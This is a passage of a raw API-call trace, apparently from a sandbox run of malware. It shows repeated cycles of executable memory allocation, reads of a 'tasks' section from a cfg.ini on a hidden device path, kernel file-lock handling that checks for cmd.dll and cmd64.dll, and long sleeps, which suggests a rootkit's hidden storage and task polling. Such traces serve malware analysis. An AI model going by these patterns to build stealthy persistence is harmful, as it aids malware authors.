Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.644] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.644] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0123.644] IdePortDispatch () returned 0x103 [0123.644] KeWaitForMutexObject () returned 0x0 [0123.644] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.644] KeLeaveCriticalRegion () [0123.644] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.644] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.644] KeEnterCriticalRegion () [0123.644] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.644] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.644] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.644] KeLeaveCriticalRegion () [0123.644] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.644] KeEnterCriticalRegion () [0123.644] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.644] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0123.644] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bec7e0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.644] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.644] KeLeaveCriticalRegion () [0123.644] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.645] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.645] KeEnterCriticalRegion () [0123.645] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.645] ExFreePoolWithTag (P=0xfffffa8003bec260, Tag=0x0) [0123.645] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.645] KeLeaveCriticalRegion () [0123.645] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.645] ReleaseMutex (hMutex=0xf0) returned 1 [0123.645] Sleep (dwMilliseconds=0x927c0) [0123.660] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0123.660] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.660] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0123.660] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.660] KeEnterCriticalRegion () [0123.660] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.660] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.660] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.660] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.660] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0123.660] IdePortDispatch () returned 0x103 [0123.660] KeWaitForMutexObject () returned 0x0 [0123.660] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.660] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.661] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.661] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.661] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.661] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003beccf0 [0123.661] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.661] KeLeaveCriticalRegion () [0123.661] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.661] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.661] KeEnterCriticalRegion () [0123.661] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.661] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.661] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.661] KeLeaveCriticalRegion () [0123.661] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.661] KeEnterCriticalRegion () [0123.661] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.661] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.661] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.661] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.661] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0123.661] IdePortDispatch () returned 0x103 [0123.661] KeWaitForMutexObject () returned 0x0 [0123.661] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.661] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.661] KeLeaveCriticalRegion () [0123.661] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.661] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.661] KeEnterCriticalRegion () [0123.661] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.661] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034ee000 [0123.661] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.661] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.661] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.661] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0123.661] IdePortDispatch () returned 0x103 [0123.661] KeWaitForMutexObject () returned 0x0 [0123.662] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.662] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.662] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.662] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.662] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0123.662] IdePortDispatch () returned 0x103 [0123.662] KeWaitForMutexObject () returned 0x0 [0123.662] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.662] KeLeaveCriticalRegion () [0123.662] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.662] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.662] KeEnterCriticalRegion () [0123.662] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.662] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.662] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.662] KeLeaveCriticalRegion () [0123.663] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.663] KeEnterCriticalRegion () [0123.663] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.663] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0123.663] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003beaa60, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.663] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.663] KeLeaveCriticalRegion () [0123.663] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.663] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.663] KeEnterCriticalRegion () [0123.663] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.663] ExFreePoolWithTag (P=0xfffffa8003beccf0, Tag=0x0) [0123.663] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.663] KeLeaveCriticalRegion () [0123.663] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.663] ReleaseMutex (hMutex=0xf0) returned 1 [0123.663] Sleep (dwMilliseconds=0x927c0) [0123.676] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0123.676] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.676] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0123.676] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.676] KeEnterCriticalRegion () [0123.677] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.677] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.677] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.677] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.677] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0123.677] IdePortDispatch () returned 0x103 [0123.677] KeWaitForMutexObject () returned 0x0 [0123.677] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.677] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.677] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.677] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.677] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.677] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bece50 [0123.677] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.677] KeLeaveCriticalRegion () [0123.677] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.677] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.677] KeEnterCriticalRegion () [0123.677] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.677] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.677] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.677] KeLeaveCriticalRegion () [0123.677] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.677] KeEnterCriticalRegion () [0123.677] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.677] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.677] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.677] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.677] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0123.677] IdePortDispatch () returned 0x103 [0123.677] KeWaitForMutexObject () returned 0x0 [0123.677] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.678] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.678] KeLeaveCriticalRegion () [0123.678] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.678] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.678] KeEnterCriticalRegion () [0123.678] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.678] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034f3000 [0123.678] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.678] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.678] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.678] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0123.678] IdePortDispatch () returned 0x103 [0123.678] KeWaitForMutexObject () returned 0x0 [0123.678] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.678] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.678] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.678] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.678] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0123.678] IdePortDispatch () returned 0x103 [0123.678] KeWaitForMutexObject () returned 0x0 [0123.678] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.678] KeLeaveCriticalRegion () [0123.678] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.679] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.679] KeEnterCriticalRegion () [0123.679] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.679] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.679] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.679] KeLeaveCriticalRegion () [0123.679] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.679] KeEnterCriticalRegion () [0123.679] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.679] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0123.679] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bedd20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.679] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.679] KeLeaveCriticalRegion () [0123.679] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.679] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.679] KeEnterCriticalRegion () [0123.679] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.679] ExFreePoolWithTag (P=0xfffffa8003bece50, Tag=0x0) [0123.679] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.679] KeLeaveCriticalRegion () [0123.679] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.679] ReleaseMutex (hMutex=0xf0) returned 1 [0123.679] Sleep (dwMilliseconds=0x927c0) [0123.694] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0123.694] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.694] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0123.694] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.694] KeEnterCriticalRegion () [0123.694] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.694] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.694] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.694] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.694] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0123.694] IdePortDispatch () returned 0x103 [0123.694] KeWaitForMutexObject () returned 0x0 [0123.694] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.695] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.695] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.695] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.695] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.695] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bed7a0 [0123.695] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.695] KeLeaveCriticalRegion () [0123.695] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.695] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.695] KeEnterCriticalRegion () [0123.695] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.695] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.695] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.695] KeLeaveCriticalRegion () [0123.695] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.695] KeEnterCriticalRegion () [0123.695] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.695] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.695] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.695] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.695] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0123.695] IdePortDispatch () returned 0x103 [0123.695] KeWaitForMutexObject () returned 0x0 [0123.695] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.695] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.695] KeLeaveCriticalRegion () [0123.695] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.695] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.695] KeEnterCriticalRegion () [0123.695] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.695] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034f8000 [0123.695] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.695] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.695] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.695] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0123.695] IdePortDispatch () returned 0x103 [0123.696] KeWaitForMutexObject () returned 0x0 [0123.696] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.696] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.696] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.696] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.696] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0123.696] IdePortDispatch () returned 0x103 [0123.696] KeWaitForMutexObject () returned 0x0 [0123.696] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.696] KeLeaveCriticalRegion () [0123.696] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.696] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.696] KeEnterCriticalRegion () [0123.697] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.697] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.697] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.697] KeLeaveCriticalRegion () [0123.697] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.697] KeEnterCriticalRegion () [0123.697] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.697] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0123.697] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bec4d0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.697] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.697] KeLeaveCriticalRegion () [0123.697] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.697] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.697] KeEnterCriticalRegion () [0123.697] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.697] ExFreePoolWithTag (P=0xfffffa8003bed7a0, Tag=0x0) [0123.697] ExReleaseFastMutexUnsafe (in: 